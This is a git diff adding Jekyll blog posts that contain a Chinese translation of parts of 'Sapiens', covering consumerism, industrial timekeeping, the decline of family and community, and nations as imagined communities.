+追踪研究发现，这些猴子孤儿虽然得到了所有必需的营养，长大之后却有严重的情绪失调。它们无法融入猴群的社会，与其他猴子沟通有问题，而且一直高度焦虑、具有高侵略性。结论显而易见：除了物质需求之外，猴子必然还有种种心理需求和欲望，如果未能满足这些需求，就会产生严重的负面影响。在接下来的几十年间，许多研究都证实这项结论不仅适用于猴子，对其他哺乳动物和鸟类也同样适用。但在目前，数百万的家禽家畜与哈洛的猴子处于同样的水深火热之中，饲养者常常将幼崽与母亲分开，单独饲养。102 +如果将所有数字加总，全球随时都有数十亿只家禽家畜就像活在工厂生产线上，而每年宰杀总数更达到百亿。采用工业化的禽畜饲养方式后，农业生产量和人类粮食储备量大幅增长。像这种工业化的畜牧业，再加上农作物种植的机械化，就成了整个现代社会经济秩序的基础。在农业工业化之前，农地和农场生产的食物大部分都得“浪费”在供给农民和农场上的动物食用，只剩下一小部分能供给其他工匠、教师、神职人员和官僚。因此在当时，农民在几乎所有的社会里都占了总人口九成以上。随着农业工业化，只需要越来越少的农民数量，就足以养活越来越多的办公或工厂人口。例如现在的美国，只有2%的人口以农业为生，103但仅仅就是这2%，不仅养活了整个美国的人口，还有剩余粮食可以出口到世界各地。如果没有农业工业化，就不会有足够的人力来办公思考和从事工厂劳动，也就不可能有都市里的工业革命。 +正是因为农业释放出了数十亿的人力，由工厂和办公室吸纳，才开始像雪崩一样有各种新产品倾泻而出。比起以前，人类生产出更多钢铁，制作出更多服装，兴建出更多建筑，还制造出令人瞠目结舌、超出想象的各种产品，像是灯泡、手机、数码相机和洗碗机。人类有史以来第一次，生产超出了需求。也是因为如此，产生了一个全新的问题：谁要来买这些产品？ +血拼的年代 +现代资本主义经济如果想要存活，就得不断提高产量，很像是鲨鱼，如果不一直游动就会窒息。然而，光是生产还不够。生产出来之后，还得有人买，否则业者或投资人都得关门大吉。为了避免这种灾难，确保不管什么新产品都有人买账，就出现了一种新的伦理观：消费主义。 +有史以来，人类的生活多半颇为困窘，因此“节俭”就成了过去所高喊的口号，像是清教徒或斯巴达人，都以简朴律己而闻名。所以，如果是正直的人，就该避免奢侈、从来不浪费食物，裤子破了该缝缝补补，而不是去买条新的。只有王公贵族，才能公然把这种价值观抛在一旁，无所顾忌地炫耀他们的财富。 +然而，消费主义的美德就是消费更多的产品和服务，鼓励所有人应该善待自己、宠爱自己，就算因为过度消费而慢慢走上绝路，也是在所不惜。在这里，节俭就像是一种该赶快治疗的疾病。我们很容易就能找到各种鼓励消费伦理的例子，在我们身边屡见不鲜。像是我本人最爱的早餐谷片，制造商是以色列的泰尔玛（Telma），它的盒子背面就写着： +有时候，你该好好享受一下。有时候，你就是需要多一点能量。虽然有时候得注意体重，但也有时候就该尽情放纵……像是现在！泰尔玛为你提供各种美味谷片，享受美味，没有后顾之忧。 +而且，同一个包装上还有另一个品牌“健康零嘴”（Health Treats）的广告： +健康零嘴有大量谷类、水果和坚果，为您提供美味、愉悦而又健康的体验。在非正餐时间解您的嘴馋，完全符合健康生活习惯。真正的美味，让您享受更多。 +在历史上的大多数时候，这种文案不但无法引起消费欲望，反而还会激起极度的反感。在过去的人眼中，这种内容真是自私、堕落、道德沦丧！消费主义除了自身非常努力，还在大众心理学（像是“做就对了！”）的推波助澜之下，不断说服大众“放纵对你有益，而节俭是自我压抑”。 +而且，这套理论已经成功了。我们都成了乖巧的消费者，买了无数种我们并不真正需要的产品，而且有的根本就是昨天才知道的。制造商设计产品的时候，刻意让它在一段短时间后就被淘汰；而且就算旧型号明明就足以满足各种需求，厂商还是会不断推出新型号，我们如果不跟进，就仿佛显得落伍。购物已成为人类最喜爱的消遣，而且消费性产品也成了家人、朋友、配偶之间不可或缺的中介。各种宗教节日（例如圣诞节）都已经成了购物节。甚至像是美国的阵亡将士纪念日（Memorial Day），原本庄严肃穆的一天，现在的重点全成了跳楼大特价。许多男男女女纪念这天的方式，就是跑去血拼，大概是想证明这些自由的捍卫者并不是白白送死。 +消费主义伦理开枝散叶，在食品市场表现得最为明显。在过去的传统农业社会，饥荒的阴影总是挥之不去。但到了今日的富裕世界，一大健康问题却成了肥胖，而且对穷人的冲击更大于富人（因为富人懂得选择有机沙拉和水果奶昔，但穷人常常是大啖汉堡、比萨）。美国每年为了节食所花的钱，已经足以养活其他地方所有正在挨饿的人。肥胖这件事，可以说是消费主义的双重胜利。一方面，如果大家吃得太少，就会导致经济萎缩，这可不妙；另一方面，大家吃多了之后，就得购买减肥产品，再次促进经济成长。 +* * * +然而，如果根据商人的资本主义伦理，所有的利润都该再投入生产而不是白白浪费，这样一来，消费主义伦理和资本主义道德该如何共存？没问题！就像过去的年代，今天也有精英分子和一般大众的劳力分工。在中世纪欧洲，贵族浪掷千金、尽享奢华，而农民则是省吃俭用、锱铢必较。但今天情况正相反。大富豪管理资产和投资非常谨慎，反而是没那么有钱的人，买起没那么需要的汽车和电视机却毫不手软。 +资本主义和消费主义的伦理可以说是一枚硬币的正反两面，将这两种秩序合而为一。有钱人的最高指导原则是——“投资！”而我们这些其他人的最高指导原则则是——“购买！” +这种资本/消费主义的伦理，还有另一个革命性的意义。过去的伦理体系，常常要求人类做些难如登天的事，告诉他们照做就能上天堂。但总是要求他们慈悲、宽容，克服各种欲望和愤怒，还得放下己身的私利。这对大多数人来说实在太过强人所难。所以翻开伦理道德的历史，虽然会看到许多美妙的理想，但遗憾的是几乎没人能做到。大多数基督徒的作为不像基督，大多数佛教徒没听佛陀的话，大多数儒家子弟可能会让孔子频频摇头。 +但今天的情况有所不同了，大多数人都能轻松达到资本/消费主义的理想。想要进入这种新伦理所承诺的天堂，条件就是有钱人应该继续贪婪下去，把时间投入赚更多的钱，至于一般大众则是要尽情满足自己的欲望和热情，想要什么就买什么。这是人类有史以来第一次，信众终于真的能够做到宗教要求的条件。只不过，我们又怎么知道它承诺的天堂是什么样子？答案是：看看电视，你就知道。 diff --git a/_posts/2017-01-06-210-sapiens-cp18.md b/_posts/2017-01-06-210-sapiens-cp18.md new file mode 100644 index 0000000..ba6a83f --- /dev/null +++ b/_posts/2017-01-06-210-sapiens-cp18.md @@ -0,0 +1,98 @@ +--- +layout: post +title: 第十八章一场永远的革命 +pid: 210 +tags: [人类简史：从动物到上帝] +--- +第十八章 +一场永远的革命 +工业革命找出新方法来进行能量转换和商品生产，于是人类对于周遭生态系统的依赖大减。结果就是人类开始砍伐森林、抽干沼泽、筑坝挡河、水漫平原，再铺上总长数万公里的铁路，并兴建摩天大都会。世界越来越被塑造成适合智人需求的样子，但其他物种的栖地就遭到破坏，这让它们迅速灭绝。地球曾经是一片蓝天绿地，但现在已经成了混凝土和塑料构成的商场。 +今天，地球上住着大约70亿的智人。如果把所有人放上一个大磅秤，总重量约达3亿吨。另外，如果把所有家禽家畜（牛、猪、羊、鸡等等）也放在另一个更大的磅秤上，总重更足足达到7亿吨。但相对的是，如果把所有还幸存的大型野生动物（包括豪猪、企鹅、大象和鲸鱼等等）也拿来称，总重量已经不到1亿吨。我们在童书、各种影像和电视上还是常常看到长颈鹿、狼和黑猩猩，但在现实世界里，这些物种都已所剩无几。全球大概只剩下8万只长颈鹿，但牛有15亿头；灰狼只剩20万只，但狗有4亿只；黑猩猩只剩25万只，相比之下，人有70亿。可见，人类真的已经称霸全球。104 +然而，生态环境恶化并不代表就是资源短缺。我们在前一章已经提过，人类能用的资源其实不断增加，而且这个趋势很可能还会继续。正因如此，那些关于资源短缺的末日预言很可能并不会成真。但与此相反，生态环境的恶化却是太有凭有据、如假包换。在我们的未来，很可能会看到智人坐拥各种新原料和新能源，但同时摧毁了剩下的自然栖地，让大多数其他物种走向灭亡。 +事实上，这场生态危机甚至也可能危及智人本身的生存。全球暖化、海平面上升、污染猖獗，使得地球对于人类来说也越来越不宜居住，未来很可能看到人类必须与自己引发的自然灾害不断拉扯较劲。而随着人类试图用自己的力量来对抗自然，压制整个生态系统来满足自己的需求和冲动，就可能引发越来越多无法预期的危险副作用。到了那个时候，可能就得用更激烈的手法才能操控生态系统，但也就会引起更大的混乱。 +很多人称呼这是“自然的毁灭”。然而，这其实并不能算是“毁灭”，而只是“改变”。自然是无法“毁灭”的。6500万年前，一颗陨石让恐龙灭绝，但却为哺乳类动物开启了一条康庄大道。今天，人类正在让许多物种灭绝，甚至可能包括自己。但即使如此，还是有某些生物过得生龙活虎。举例来说，老鼠和蟑螂可说是正在全盛时期。如果今天发生核灾而让世界末日降临，这些顽强的动物很有可能就会从闷烧的废墟里爬出来，准备好继续将自己的DNA传给千代万代。或许，现在的6500万年后，会有一群高智商的老鼠心怀感激地回顾人类造成的这场灾难，就像我们现在感谢那颗杀死恐龙的陨石一般。 +但不论如何，现在讨论人类灭绝还是为时过早。自从工业革命以来，世界人口成长正处于前所未有的高峰。在1700年，全球有将近7亿人。到了1800年，只增加到9.5亿人。但到了1900年，人口增长将近一倍达到16亿。而到了2000年，更是已经翻了两番，达到60亿。在2014年，已经达到足足70亿。 +摩登的现代 +虽然智人已经越来越不受自然的摆布，但却越来越受到现代产业和政府的支配。工业革命带来许多社会改造的实验性做法，而各种改变人类日常生活和心理的事件更是多不胜数。其中一个例子，就是将过去传统农业社会的时间节奏替换成工业社会一致而且精确的时间概念。 +传统农业看的是自然的时间周期、有机的生长情况。当时多数社会都无法准确测量时间，而且对这件事实在也没多大兴趣。毕竟，当时没有时钟、没有时刻表，重要的是太阳的运行、植物的生长周期。当时没有人人统一的工作日，而且在不同季节的生活习惯也有极大不同。农业社会的人知道太阳该在天上哪个位置，会焦急地等着雨季和收获季的征兆，但是小时的概念就不在他们心里，而年份的概念更是于他们如浮云。如果有人穿越时空来到中世纪的村庄，问当地人“今年是哪一年”，当地人除了会觉得这个人衣着古怪，可能还觉得会问这个问题应该是脑筋有点问题。 +与中世纪农民和鞋匠相比，现代工业对太阳或季节可说是完全不在乎，更重视的是要追求精确和一致。举例来说，在中世纪的鞋店里，每个鞋匠都是从鞋底到鞋扣一手包办。如果某个鞋匠上班迟到，完全不会影响到别人的工作。但如果是在现代的制鞋生产线，每个工人面对的机器都只负责鞋子的一小部分，完成后再交给下一台机器。假设其中某台机器的工人睡过头，整条生产线就得停摆。为了避免这种灾难发生，每个人都得严格遵守确切、共同的时间表。每个工人在完全相同的时间开始上班。不管饿了没，都要在同样的时间午休吃饭。等到换班哨音一响，所有人都得下班回家，不管手上的事情做完了没。 +工业革命不仅为人类带来了时刻表和生产线的概念，更将这些概念推广到几乎所有的人类活动当中。就在工厂用时刻表规范劳工行为之后不久，学校也开始采用了这一套，接着医院、政府机关，甚至杂货店也行礼如仪。就算那些没有生产线和机器的地方，时刻表也成了王道。毕竟，假设工厂是下午5点下班放人，当地的酒吧难道不是应该5:02开门营业最为恰当？ +这套时刻表系统的推广，公共运输是个关键。如果工人得在8:00准时开工，火车或公交车就一定得在7:55分抵达工厂大门。晚了几分钟，就可能使产量减少，甚至让那些不幸迟到的人遭到裁员。在1784年，英国首次出现公布时刻表的马车载运服务，只列了几点出发，而没有几点抵达。在当时，英国每个大城小镇都有不同的时间，与伦敦时间可能有半小时之差。伦敦正午12:00的时候，可能在利物浦是12:20，而在坎特伯里还只是11:50。因为当时没有电话、没有收音机、没有电视，也没有快速的火车，所以没人知道这些时间不同。而且，又何必在意呢？105 +英国的第一条商业铁路在1830年正式启用，连接利物浦和曼彻斯特。10年后，终于首次公布火车时刻表。因为火车的速度比传统马车快上太多，所以各地时间的微小差异就造成了巨大的困扰。1847年，英国各家火车业者齐聚一堂，研拟同意统一协调所有火车时刻表，一概以格林尼治天文台的时间为准，而不再遵循利物浦、曼彻斯特、格拉斯哥或任何其他城市的当地时间。在火车业者开了头之后，越来越多机构跟进这股风潮。最后在1880年，英国政府迈出了前所未有的一步，立法规定全英国的时刻表都必须以格林尼治时间为准。这是史上第一次有国家采取了全国统一的时刻表，要求人民依据人工的时钟来过生活，而不是依据当地的日升日落周期有所调整。 +从这个小小的出发点，后来发展出全球性的时刻表网络，全球同步的误差不到一秒。而在广播媒体上场之后（先是电台，后来则是电视），一方面人类进入了时刻表的世界，一方面广播媒体更成了主要的执行者和传播者。电台广播最早的内容之一就是报时用的讯号，通过哔声让偏远地区的居民或海上的船舶都能据以调整时钟。后来，电台也发展出每小时播报新闻的习惯。直到现在，新闻广播开头的第一条仍然是现在时间，就算战争爆发也得放在后面再报。第二次大战期间，英国广播公司的新闻播送到纳粹占领下的欧洲地区，而每段新闻广播的开头就是大本钟报时钟声的现场直播，可以说正是自由的钟声。甚至还有些天才的德国物理学家，居然找出一套方法，只要靠着钟声在广播中的微小差异，就能判断伦敦当时的天气。对德国空军来说，这可是珍贵无比的战事情报。等到英国私密情报局也发现了这一点，就不再采用现场直播，而用一组录音来取代。 +为了让时刻表这套网络能够运作顺畅，人们开始四处都能见到价格便宜但运行精准的携带式时钟。当时如果是在中东或南美，顶多可能只有几个日晷。而在欧洲中世纪的城镇里，通常是全城共享一个时钟：在城镇的中央广场建起一座高塔，上面就有个巨大的时钟。这些塔钟几乎从来没有准过，但既然城里也没有其他的钟，似乎也就没什么关系。而到了现在，任何一个有钱人家的家里，计时装置的数量很可能就远远超过某个中世纪国家全国上下的数量。现在想知道时间，可以看一下腕上的手表，瞄一眼你的手机，瞧一下床边的闹钟，盯一下厨房的挂钟，瞟一眼微波炉上的时间，瞥一下你的电视机或DVD机，甚至计算机上的任务栏都会告诉你现在几点。想要不知道现在几点，还真是得刻意花上一点功夫才行。 +一般人每天会看上几十次时间，原因就在于现代似乎一切都得按时完成。闹钟早上7点把我们叫醒，我们用不多不少的50秒加热冷冻贝果，刷牙刷个3分钟，直到电动牙刷发出哔声，我们要赶7:40的火车上班，在健身房的跑步机跑到哔声告诉我们过了半小时，晚上7点坐在电视前看最喜欢的节目，中间还在特定时间被每秒好几万元的广告打断，就算精神崩溃去找心理医师，他听你发牢骚的诊疗时间也是一节标准50分钟。 +* * * +工业革命让人类社会起了数十种重大的变化，采用工业化的时间概念只是其中之一。其他著名的项目还包括都市化、农民阶级消失、工业无产阶级的兴起、对一般大众的赋能、民主化、青少年文化，以及父权社会的解体。 +然而这一切都比不上有史以来人类最大的社会革命：家庭和地方社群崩溃，改由国家和市场取代。据我们目前所知，人类在100多万年前生活在小型、亲密的社群之中，社群成员大多数都是亲戚。认知革命和农业革命并没有改变这一点。这两项革命让不同的家庭和社群结合，形成部落、城市、王国和帝国，但家庭和社群仍然是所有人类社会最基本的结构单位。但后来，工业革命不过花了短短两世纪左右，就将这些单位粉碎成了原子。许多过去家庭和社群的功能，现在都被国家和市场取代。 +家庭和社群的崩溃 +在工业革命之前，多数人的日常生活都逃不脱三大传统框架：核心家庭、大家庭，以及当地的密切社群。[1]大多数人在家族企业工作（例如家族的农场，或是家族经营的工作坊），或者也可能在邻居的家族企业工作。这时的家庭除了家庭功能，还要兼顾福利制度、卫生体系、教育系统、建筑产业、劳工工会、退休基金、保险公司、广播、电视、报纸、银行，甚至警察功能。 +有人病了，由家庭来照顾。有人老了，由家庭来赡养，而子女就是最好的退休基金。有人过世，孤儿就由大家庭其他成员照顾。有人想盖小屋，大家庭提供人力。有人想开公司，大家庭提供资金。有人想结婚，家庭里也会选择或至少审核一下这未来的对象。如果和邻居发生冲突，要吵架也有家人助阵。然而，如果病情太严重，光是家庭或家族还无法处理，或是新公司需要的资金太庞大，或是邻里争吵已经到了要变成暴力斗争的地步，当地社群就会介入。 +当地社群介入时，依据的是当地的传统以及有来有往的互助原则，常常会和自由市场的供需法则有相当大的差异。像是在传统的中世纪社会，如果邻居需要我帮忙盖屋子或是放羊，我并不会认为他应该付钱，而是在我有需要的时候再还我这份人情就好。同时，当地的领主可能会叫我们全村的人去帮他盖城堡，但他也是一分不付，而是在出现盗贼或野蛮人的时候提供保护。虽然在这些村庄里有许许多多的交易，但多半都不是金钱往来。当时市场机制已经存在，但十分有限。人们也可以购买罕见的香料、布匹和工具，或是聘请律师和医生提供服务，但一般而言，常用产品和服务会出现在市场上的不到一成，多数还是由家庭和社群提供。 +另外，王国和帝国会负责某些重要功能，像是发动战争、修建道路、建筑城堡。而为了这些目的，国王会征税，偶尔也会招募士兵和工人。但除了少数例外，王国或帝国通常并不会干涉家庭和社群内的事务。而且，就算真想干涉，成效也十分有限。因为从传统来说，传统的农业经济很少有多余的食物能养活政府官员、警察、社会工作者、教师和医生等等。因此，大多数政权并不会发展出大规模的福利、医疗或教育系统。这些事情都还是留给家庭和社群处理。就算在极少数情况下，统治者试图干预农民的日常生活（像是秦帝国的连坐法），靠的也是以家中的户主或社群里的长者作为政权代理人。 + +甚至有些时候，因为地处偏远的社群交通不便、通讯困难，许多王国干脆直接将税收和暴力惩戒这些王室基本特权都下放给当地。举例来说，奥斯曼帝国就并未维持大批帝国警力，而是允许地方家族彼此私刑伺候。如果我的表哥杀了人，受害人的哥哥可能就会杀了我作为报复。而只要暴力行径不要过度扩大，不论是伊斯坦布尔的苏丹，甚至各省的帕夏（pasha，相当于省长）都会睁一眼闭一眼。 +至于在中国的明朝（1368~1644），这个帝国实行“里甲”制度。10户为“甲”，110户为“里”。里甲制设有里长、甲首，负责维护地方治安、分配徭役、按丁纳税，而无须由帝国直接管理。从帝国的角度来看，这种里甲制度十分有利，帝国不需要自己养着成千上万的官员税吏，而是交给地方长者来监督各个家庭的情形。里长甲首不但了解地方情形，常常也能让税务运作顺畅，而无须国家军队介入。 +很多时候，王国和帝国就像是收着保护费的黑道集团。国王就是黑道大哥，收了保护费就得罩着自己的人民，不受附近其他黑道集团或当地小混混骚扰。除此之外，其实也没什么功用。 +然而，生活在家庭和社群的怀抱里并不如想象中的理想，甚至差得远了。家庭和社群对成员的压迫绝不下于现代国家和市场，这些家庭和社群内部常常充满紧张和暴力，而且成员别无选择。在1750年左右，如果一个人失去家庭和社群的保护，几乎必死无疑，不仅没有工作、没有教育，生病痛苦时也得不到任何支持。没有人会借他钱，出了问题也没人保护。毕竟，当时没有警察、没有社工，也没有强制性的义务教育。为了求生，如果真的遇到这种情形，当时的人就得尽快寻找替代家庭或社群。离开原生家庭的男孩女孩，最好的情况大概就是找到新的家庭做帮佣；而最糟的情况，就是被迫从军或沦入风尘。 +* * * +但过去两世纪间可说是风云变色。工业革命让市场取得强大的新力量，让国家有了新的通讯和交通工具，更让政府有了一大批办事人员、教师、警察和社工可供差遣。从这时开始，市场和国家发现传统的家庭和社群就像路上的绊脚石，强烈抗拒外来的干预。父母和社群里的长者并不愿意放手让年轻一辈接受国民教育的洗脑，也不希望他们受征召从军，更不想让年轻人变成一个没有根的都市无产阶级。 +随着时间过去，国家和市场的权力不断扩大，也不断削弱家庭和社群过去对成员的紧密连接。国家开始派出警察，制止家族里的私刑，改用法院判决取代。市场也派出小贩和商人，让各地悠久的传统逐渐消失，只剩下不断汰换的流行商业文化。但光是这样还不够。为了真正打破家庭和社群的力量，他们还需要找到内应、从内部击破。 +于是，国家与市场找上家庭和社群的各个成员，开出了他们无法拒绝的条件。他们说：“做自己吧！想娶想嫁都随你的意，别管父母准不准。想挑什么工作都可以，别担心什么大家长说的话。想住哪就住哪，就算没办法每周和家人吃上一次饭又有什么关系呢？你不用再依赖家庭或社群了。我们，也就是国家和市场，让我们来照顾你吧。我们会给你食物、住房、教育、保健、福利和就业机会。我们也会给你退休金、保险和保障。” +在浪漫主义的文学作品里，常常讲得似乎人都在辛苦对抗着国家和市场。但事实却刚好完完全全相反。国家和市场简直可说是个人的衣食父母，个人能够生存都得感谢它们才是。市场为我们提供了工作、保险和退休金。如果想学专业，可以去上公立学校。如果想做生意，可以向银行贷款。如果想盖房子，可以找建设公司来盖，找银行办房贷，而且有些时候还能得到政府补贴或保险。如果碰上暴力事件，可以找警察保护。如果生病得休养几天，可以有医疗保险照顾。如果病得严重，得休息几个月，就换成社会福利制度来帮忙。如果需要全天有人协助，我们可以到市场上请专职看护；虽然这些人与我们素不相识，却可以为我们提供现在连子女都很难提供的全心照料。只要先存点钱，我们就能到养老院安度最后这段黄金岁月。国税局把我们每个人都看作个人，不会要求我们付邻居的税。法院也把我们每个人看作个人，不会要我们为亲戚犯的错负责。 +而且，现在能得到认定为“个人”的不只有成年男子，就连女性和儿童也同样纳入。历史上，女性多半被视为家庭或社群的财产。但现代国家却将女性视为个人，不论其家庭或社群出身，都能享有独立的经济和法律权利。女性开始能够有自己的银行账户、自己决定想嫁的对象，甚至要离婚或自立门户都行。 +然而，要解放个人是有代价的。现在许多人都悲叹着家庭和社群功能不再、觉得疏离，而且感觉冷漠的国家和市场对我们造成许多威胁。如果组成国家和市场的是一个又一个孤单的个人，而不是关系紧密的家庭或社群，要干预个人生活也就容易得多。现代高楼公寓，所有人各自锁在自己家里，连每户该付多少清洁费都无法达成共识，又怎么可能一起站出来抵抗国家机器？ +家庭/社群 vs. 国家/市场 +国家、市场与个人之间的交易并不容易。国家和市场对于权利义务的划分意见不同，个人又抱怨这两者要得太多，又给得太少。很多时候，个人遭到市场的剥削，而国家不但不保护个人，反而还用军队、警察和官僚施加迫害。没人想得到，这种互动本身就有不少问题，更公然抵触过去世世代代的社会运作方式，竟然还是能够成功。经过数百万年的演化，人类的生活和思考方式都预设自己属于社群。但仅仅过了两个世纪，我们就成了互相疏远的个人。这可以说是文化力量的最佳证明。 +* * * +到了现代，核心家庭并未完全消失，虽然被政府和市场取代了大部分的经济和政治作用，但还是留下了一些重要的情感功能。一般来说，人们还是认为现代家庭可以满足人类最亲密的需求，这是国家和市场（到目前为止）无法提供的。然而，就算在这一块，家庭也开始受到外界越来越多的干预。市场在人类恋爱和婚姻方面的影响越来越大。过去靠的是父母之命、媒妁之言，现在则交给市场帮忙，先定下我们对恋爱和婚姻的理想，再把这些生活提供给我们——而且当然要收费。在过去，男女约会是在家庭的客厅，有金钱往来的话，是由一方的父亲交到另一方父亲手中。但到了现在，约会是在酒吧或咖啡馆，金钱则是从这对恋人手上交给服务生。而且，为了这场约会，甚至还有更多钱是直接转账，转给服装设计师、健身房老板、营养师、美容师和整形外科医生，早在我们抵达咖啡馆之前，这些人就会想尽办法让我们无限逼近市场对美的理想。 +国家同样也越来越介入家庭关系，特别是父母与子女的关系。现在，父母有义务送孩子接受国家教育。如果父母特别爱辱骂孩子或对他们暴力相向，这样的父母就可能被国家限制权利。如有必要，国家甚至可以把父母关起来，将孩子送到寄养家庭。一直到不久前，如果有人说家长不得殴打或侮辱小孩，否则国家应该介入，都还会被当成笑话，认为这万不可行。在过去大多数社会中，父母拥有至高无上的权威。尊亲敬长可说是最高法则，父母几乎可以为所欲为，就算是要冷血弑婴、贩子/女为奴，或是把女儿嫁给年纪大她们两倍的男人，人们都觉得理所当然。但到了现在，父母的权威可说大不如前。年轻人越来越不需要听从长辈的意见，而一旦孩子的人生出了任何问题，似乎看来总是可以怪在父母头上。 +想象的社群 +正如同核心家庭，只要社群的情感功能还没有完全被取代，就不会从现代世界消失。过去社群的物质功能，现在已经大部分由市场和国家接手，但在部落情谊、同舟共济这些情感上还有待努力。 +市场和国家要增强这些情感面，靠的就是塑造“想象的社群”（imagined communities，另译“想象的共同体”），纳入的人数可能达到数百万之巨，而且是专为国家或商业需求量身打造。所谓想象的社群，指的是虽然成员并不真正认识彼此，却想象大家都是同一伙的。这样的社群概念历史悠久，并不是到了现代才乍然出现。数千年来，王国、帝国和教会早就担任了这种想象社群的角色。例如在古代中国，数千万人都认为全国就是一家人，而皇帝就是父亲。在中世纪，数百万虔诚的穆斯林也想象着整个伊斯兰社会就是一个家庭，彼此都是兄弟姐妹。然而，纵观历史，这种想象的社群力量有限，比不上每个人身边几十个熟人所结合成的密切社群。密切社群能够满足成员的情感需求，而且对每个人的生存和福祉都至关重要。然而，密切社群在过去两世纪间迅速衰微，开始由想象社群填补这种情感上的空缺。 +现代所兴起的两大想象社群，就是“民族”和“消费大众”。所谓民族，是国家的想象社群。而所谓消费大众，则是市场的想象社群。我们说这些社群属于“想象”，是因为过去的村落社群都是成员彼此熟识，但现代不论民族或市场，成员都不可能像过去一样彼此熟悉。任何一个德国人，都不可能真正认识所谓德意志民族的8000万人；欧洲共同市场的5亿人口，也不可能都互相认识（欧洲共同市场后来发展成欧洲共同体，最后形成今日的欧盟）。 +消费主义和民族主义可说是夙夜匪懈，努力说服我们自己和其他数百万人是一伙的，认为我们有共同的过去、共同的利益以及共同的未来。这并不是谎言，而是一场想象。不论是民族还是消费大众，其实都和钱、有限公司和人权相同，是一种“主体间”的现实，虽然只存在于我们的集体想象之中，但力量却无比巨大。只要这几百万德国人相信有德意志民族的存在，同样认同德国国徽，同样相信关于德意志民族的虚构故事，同样愿意为了德意志民族牺牲自己的金钱、时间甚至生命，德国世界强权的地位就难以动摇。 +民族竭尽全力，希望能掩盖自己属于想象的这件事。大多数民族都会声称自己的形成是自然而然、天长地久，说自己是在最初的原生时代，由这片祖国土地和人民的鲜血紧密结合而成。但这通常就是个夸大其词的说法。虽然民族确实有悠久的源头，但因为早期“国家”的角色并不那么重要，所以民族的概念也无关痛痒。例如，中世纪纽伦堡的居民可能多少对德意志民族有些忠诚度，但相较之下，因为照顾自己多数需求的还是家人和当地社群，所以对家人和当地社群的忠诚度自然远远高出许多。另外，就算古代许多民族都曾有辉煌的过去，能够存活到今天的却很少。现有的民族多半是到了工业革命后才出现。 +中东地区就有许多这种例子。我们现在之所以有叙利亚人、黎巴嫩人、约旦人、伊拉克人的区别，只是因为当初英法两国的外交官在完全不顾当地历史、地理和经济的情况下，在一片沙漠之中确定出了所谓的边界。例如他们在1918年就规定，从此住在库德斯坦（Kurdistan）、巴格达和巴士拉（Basra）的人，就成了“伊拉克人”。至于谁是“叙利亚人”、谁又是“黎巴嫩人”，则主要是法国做的决定。不论是伊拉克前总统萨达姆·侯赛因（Saddam Hussein）还是叙利亚前总统阿萨德（Hafez el-Asad），他们都全心全意不断想强化这些出自英法之手的民族意识，但他们夸口伊拉克人或叙利亚人千秋万世、直到永远，却只是种想象的空话。 +确实，民族概念并非空中楼阁、毫无根据。伊拉克或叙利亚建国的时候，确实有真实的历史、地理和文化因素，而且有些可以追溯到千年之久。像是萨达姆就大打阿拔斯王朝和巴比伦帝国这两张牌，说自己一脉相传，甚至还把自己的一支师级精锐装甲部队命名为“汉谟拉比师”（Hammurabi Division）。但就算如此，这也不会让伊拉克民族变成一个自古存在的实体。举例来说，就算我用的原料是放了两年的面粉、放了两年的油、放了两年的糖，做出来的也不会是放了两年的蛋糕。 +近几十年来，所谓民族的社群概念不断被一群又一群的消费者削弱。这些消费者彼此并不认识，但都有同样的消费习惯和兴趣，因此不但相信还定义大家就是同一伙的。这可能听来不可思议，但我们身边早就有太多实例。举例来说，麦当娜的粉丝就能够构成一个消费者社群。他们要满足这项定义的方式，主要靠的就是购物。靠着购买麦当娜演唱会的门票、CD、海报、衬衫和手机铃声，就能定义谁是粉丝。至于曼联球迷、素食主义者、环保主义者等等也是如此。他们最主要的定义方式也是靠着消费。这可以说是他们身份认同的基石。如果是个德国素食主义者，要嫁给法国素食主义者的概率大概会高于嫁给德国的肉食主义者。 +变动不休 +过去这两个世纪变动如此迅速剧烈，让社会秩序起了根本的改变。传统上，社会秩序坚若磐石、难以撼动。毕竟“秩序”就隐含着稳定和连续的意义。历史上，社会的改变很少是大刀阔斧的革命，多半是无数个小步骤逐渐累积而成。于是，我们一般感觉社会结构并不灵活，似乎永恒不变。或许，我们会努力改变自己在家庭和社群中的地位，但讲到要彻底颠覆这整个儿秩序，这个概念可能就很陌生。我们常常会把自己限于现状，声称“过去都是这样，未来也会是这样”。 +过去两个世纪中，变化速度奇快无比，让社会秩序显得充满活力和可塑性，呈现变动不休的状态。谈到现代革命，一般人想到的会是1789年的法国大革命，1848年的欧洲自由革命，或是1917年的俄国革命。但事实上，讲到现代，其实每年都有革命性的改变。即使只是三十岁的人，也可以告诉那些打死也不信的青少年：“我年轻的时候，整个世界完全不是这样。”举例来说，互联网是在20世纪90年代才开始广泛使用，至今也才是20年左右的事。但我们已经完全无法想象没有网络的生活会如何。 +因此，想要定义现代社会的特色为何，就像要问变色龙究竟是什么颜色一样。我们唯一可以确定的特色，就是它会不断改变。我们已经习惯了这种变动特性，而且多数人也都会同意社会秩序应该有弹性，是我们能够操纵、能够改进的。前现代统治者的主要目标是维护传统秩序，甚至希望能够尽量回归过去失落的黄金年代。但到了过去两个世纪，政治主流却是要摧毁旧世界，再建起更好的世界来取代。现在就算是最保守的政党，也不敢说自己的目标就是维护一切保持不变。人人都在谈，要进行社会改革、教育体制改革、经济体制改革，而且这些承诺常常都是说到做到。 +* * * +地质学家知道地壳运动可能引发地震和火山爆发，我们也知道激烈的社会运动可能引发血腥暴力。讲到19世纪和20世纪的政治历史，常常讲到的就是一连串生灵涂炭的战争、革命和大屠杀。就像是雨天的时候，小孩喜欢穿着雨鞋从一个水洼跳到下一个水洼，这种历史观点也像是在跳着，从第一次世界大战跳到第二次世界大战，从第二次世界大战跳到冷战，从亚美尼亚大屠杀跳到犹太人大屠杀，再跳到卢安达大屠杀，从把路易十六送上断头台的罗伯斯庇尔（Robespierre）再跳到希特勒。 +虽然这部分也是事实，但光是这样列出一长串我们太熟悉的惨案名单，却会造成误导，让我们只看到一个又一个的水洼，却忘了水洼之间还有干地。在现代晚期，虽然暴力和恐惧达到前所未有的高峰，但和平与安宁也同时来到历史新高。狄更斯写到法国大革命，就说“这是最好的年代，也是最坏的年代”。这句话不只适用于法国大革命，很可能也适用着由法国大革命揭开的整个时期。 